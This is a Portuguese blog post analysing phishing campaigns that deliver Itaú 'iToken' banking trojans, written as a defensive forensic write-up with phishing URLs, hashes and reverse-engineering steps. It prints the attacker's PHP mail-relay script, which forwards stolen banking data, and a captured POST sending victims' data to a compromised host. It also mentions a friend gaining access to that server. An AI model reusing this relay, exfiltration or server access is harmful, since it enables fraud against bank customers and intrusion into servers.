Perícia e Análise da Fraude Bancária iToken Itaú

iToken é um dispositivo de senhas eletrônicas utilizado pelo Banco Itaú para adicionar mais uma barreira de proteção para seus clientes acessarem contas bancárias pela Internet. Nesse caso os fraudadores utilizam o nome do dispositivo na engenharia social para induzirem as vítimas a instalarem malwares em seus computadores.

Identificação e Coleta das Evidências

No dia 19/10/2010 recebi um spam phishing com os campos “De: Itaú Bankline” e “Assunto: Central de segurança Itaú: iToken v1.3”. No e-mail havia um link que apontava para a URL:

http://dmcbattle.co.za/seguranca/dispositivo.php?InstalarAplicativo=ver1.3

Ao clicar no link foi solicitado o download do arquivo abaixo:

Nome: Aplicativov1.3.exe (Trojan-Banker.Win32.Banker2.abp)

MD5: 124ecdd2bd55b9e2d28542ff3da65ef5

No dia 05/11/2010 recebi um outro phishing com os mesmos campos “De: Itaú Bankline” e “Assunto: Central de segurança Itaú: iToken v1.3”, porém o texto escrito nesse e-mail era diferente (apesar de ser sobre o mesmo tema) e o link apontava para outra URL:

http://acoffeeinthepark.com/logs/dispositivo.php?InstalarAplicativo=itokenv13-257823732654

Ao clicar no link foi solicitado o download de um arquivo com o mesmo nome, mas com MD5 diferente:

Nome: Aplicativov1.3.exe (Trojan-Banker.Win32.Banker2.aer)

MD5: a36d31cac126e6ff56eb786e57c689af

Análise das Evidências

Para descobrir mais informações sobre os arquivos coletados, submeti o primeiro “Aplicativov1.3.exe” ao programa Exeinfo PE para identificar um possível packer no executável.

Nada foi encontrado, porém o programa também não conseguiu identificar a linguagem de programação utilizada. O mesmo aconteceu com o PEiD e RDG.

Prosseguindo submeti o arquivo ao OllyDbg. Na busca por strings relevantes também não identifiquei nenhuma pista sobre a função do arquivo até encontrar essa linha:

“Software\WinRAR SFX”

O módulo SFX (SelF-eXtrating) do WinRAR permite descomprimir arquivos automaticamente sem a necessidade de outros programas, o próprio executável carrega o módulo de descompressão.

Resolvi executar o arquivo para confirmar se seria descompactado algum outro executável. Ao fazer isso foi criado um novo arquivo:

Nome: iToken.exe (Trojan-Banker.Win32.Banker2.abp)

MD5: 51e5d6f6f0ff2bc0ae3792d98d12fdbe

O arquivo “iToken.exe” foi criado e executado automaticamente. Antes de analisar o funcionamento dele eu queria realizar a engenharia reversa, então matei o processo e o submeti ao Exeinfo PE.

Nenhum packer foi encontrado e a linguagem de programação foi identificada: Borland Delphi.

A análise de executáveis codificados em Delphi na maioria das vezes fica mais fácil através do descompilador DeDe do que o Assembly no OllyDbg. Então utilizei o DeDe para descompilar o “iToken.exe” e gerar um projeto para abrir depois no próprio Delphi.

O DeDe conseguiu identificar três Forms e Units no executável.

Ao abrir o projeto gerado pelo DeDe no Delphi e visualizar os três Forms, encontrei as telas utilizadas pelo malware:

Tela 1

Tela 2

Tela 3

Conforme pode-se ver, as três telas são cópias das páginas verdadeiras do site do Banco Itaú. Nelas são solicitadas várias informações bancárias que tentam persuadir as vítimas digitarem seus dados sigilosos.

Na Tela 3 do malware há um botão (que na verdade é uma imagem) denominado “CONFIRMAR”. No projeto do Delphi nesse botão há um evento “ImageClick” codificado, ou seja, quando ele é clicado executa alguma função.

A função nesse caso é bastante peculiar, enviar para o e-mail do fraudador todas as informações que a vítima digitou. Diferente do que ocorre na maioria das vezes, dessa vez o e-mail está em texto simples, sem criptografia.

No código logo abaixo do endereço de e-mail, há algo que me chamou atenção, uma URL.

http://www.oberoning.lv/plugins/system/fckgwrhqq2.php

A princípio não entendi a função dela no malware, mas resolvi investigar, queria saber o que havia no código-fonte desse arquivo “fckgwrhqq2.php”.

Para conseguir isso teria que descobrir qual vulnerabilidade o fraudador explorou para invadir o site www.oberoning.lv (Letônia). Meu amigo Bernardo descobriu isso pra mim e tive acesso ao servidor.

Fiz download do arquivo “fckgwrhqq2.php” e o código-fonte dele era esse:

<?php

$email = $_POST['email'] ;

$from = $_POST['from'];

$subject = $_POST['subject'];

$message = $_POST['message'] ;

mail( $email, $subject, $message, "From: $from" );

?>

Então na verdade não era o malware que enviava o e-mail, ele apenas passava os dados pela URL para essa página PHP que recebia e enviava a mensagem. Ele deve ter feito dessa forma para simplificar o código-fonte do malware.

Para confirmar todas essas informações e não deixar nenhuma dúvida, deixei rodando um sniffer de rede (Wireshark) e executei o malware inserindo dados falsos.

Os pacotes capturados geraram esse tráfego de rede:

POST /plugins/system/fckgwrhqq2.php HTTP/1.0

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 159

Host: www.oberoning.lv

Accept: text/html, */*

User-Agent: Mozilla/3.0 (compatible; Indy Library)

email=aXXXXXX%40gmail%2Ecom&from=iniciando%40exe%2Ecom&subject=VIRTUAL%5FXP&message=1111%0D11111%0D1%0D000000%0D01+01+01+01+01+01+%0D03+03+03+03+03+03+&

Lembrando que no começo do artigo escrevi que havia dois arquivos “Aplicativov1.3.exe” com MD5 diferentes, ao executar o segundo gerou também um “iToken.exe” com MD5 diferente.

Nome: iToken.exe (Trojan-Banker.Win32.Banker2.aer)

MD5: 9615a83c0cfca4793bbfb5206f3afa06

Esse segundo “iToken.exe” possuía exatamente as mesmas funções do primeiro analisado mas o endereço de e-mail e URL para onde ele enviava as informações furtadas era outra.

Conclusão

Nessa perícia foi possível constatar a materialidade da fraude, a dinâmica e apontar um caminho para identificar a autoria através dos endereços de e-mails encontrados. Todas as informações foram encaminhadas para a polícia civil.

Verificou-se a existência de dois malwares com funções idênticas mas com endereços de e-mails e spam distintos. Isso pode significar que o fraudador utiliza dados diferentes para aplicar o mesmo golpe ou ainda que esse malware foi vendido ou trocado por várias pessoas que apenas personalizam com seus e-mails.

O que costuma ocorrer bastante nesse tipo de crime, um programador cria o malware e vende para os fraudadores que não possuem muitos conhecimentos em computação e apenas adaptam de acordo com suas necessidades.

[POST adicionado em 15/11/2010]

Conforme eu havia solicitado, o leitor Almir me enviou um spam que recebeu também referente a essa fraude do iToken Itaú. Nesse phishing, na engenharia social utilizaram a marca Itaú Personnalité para tentar enganar as vítimas.

Ao clicar no link do email foi solicitado o download do arquivo "iTokenv1.2.exe", esse arquivo seguia o mesmo padrão dos outros, ao executá-lo foi descompactado o arquivo "update.exe".

Aos descompilar o "update.exe" foram identificadas as mesmas telas da fraude, porém dessa vez as cores utilizadas no malware seguem o padrão do Itaú Personnalité. Novamente foi identificado um endereço de email para onde são enviados os dados furtados.

Agradeço a todos que colaboram com o Blog deixando comentários, enviando e-mails e divulgando. Caso ainda receba esse mesmo tipo de e-mail peço que me envie.

[POST adicionado em 23/12/2010]

A fraude do iToken Itaú ainda esta ativa, dessa vez foi o leitor Clenilson que me encaminhou o e-mail do golpe para análise. Esse ao clicar no link faz download do arquivo:

dispositivo.exe (MD5: 9d3b0096646d3ba27e5e5ed265e50912)

Após ser executado gera o arquivo:

dr.exe (MD5: 7caff8bdd3135362e0f36dea618a287d)

Apresenta uma janela para a vítima digitar os dados bancários e depois envia por e-mail para o fraudador conforme imagem abaixo:

[POST adicionado em 06/01/2011]

Mais um phishing iToken Itaú, esse foi o Tiago que me enviou. Dois endereços de e-mails identificados nessa fraude, um já era conhecido e o outro é novo.

Arquivos encontrados:

iTOKEN.exe (MD5: e842be20dd1ee72f929a6d6cac9e16a3)
dr.exe (MD5: 2690e33abb889791280950730048bc04)

Ronaldo Lima

crimesciberneticos.com | twitter.com/crimescibernet

Leia também:

• Engenharia Reversa do Malware Trojan.Win32.VB.ajfm (Banker)

• Engenharia Reversa do Malware Trojan Downloader.Win32.Agent.dlfu

• Engenharia Reversa e Análise do Malware NetEmpresa.exe